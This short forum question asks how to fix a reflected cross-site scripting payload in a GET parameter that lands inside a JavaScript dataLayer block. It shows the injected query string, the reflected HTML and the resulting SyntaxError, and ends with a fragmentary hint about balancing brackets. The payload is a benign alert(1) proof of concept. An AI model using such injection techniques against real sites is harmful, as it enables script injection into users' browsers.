I am trying to exploit a reflected cross site scripting in a GET request where the reflection is in the first multi line script block.
It seems I can use every character but <
, >
and "
and the best payload I could come up with is
/?search='}]%3Balert(1)%3B%2F%2F
And it gets reflected like this:
<head><script>
dataLayer = [{
'pageType': 'Page',
'category': 'Search',
'searchTerm': ''}];alert(1);//',
'searchResults': '0',
}];
</script>
Unfortunately this does not work. Neither does it with /* instead of // to comment out the rest of the script block. Is there any way to make it work without using "<" and ">"? Now it fails with "SyntaxError: unexpected token: ':'"
[{
to balance it.